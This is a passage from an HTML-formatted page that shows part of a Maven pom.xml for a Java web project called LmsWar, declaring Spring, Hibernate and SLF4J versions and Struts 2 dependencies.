&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;modelVersion&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;4.0.0&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;modelVersion&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;LmsWar&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;LmsWar&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;0.0.1-SNAPSHOT&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;packaging&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;war&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;packaging&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color: teal;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;description&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color: teal;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;properties&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;spring.framework.version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;3.2.0.RELEASE&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;spring.framework.version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;hibernate.version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;4.1.9.Final&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;hibernate.version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;sl4j.version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;1.7.2&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;sl4j.version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;properties&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependencies&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;org.apache.struts&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;struts2-core&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;2.3.16&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #3f5fbf; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;!-- Struts 2 + Spring&amp;nbsp;&lt;u&gt;plugins&lt;/u&gt;&amp;nbsp;--&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;org.apache.struts&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;struts2-spring-&lt;u&gt;plugin&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
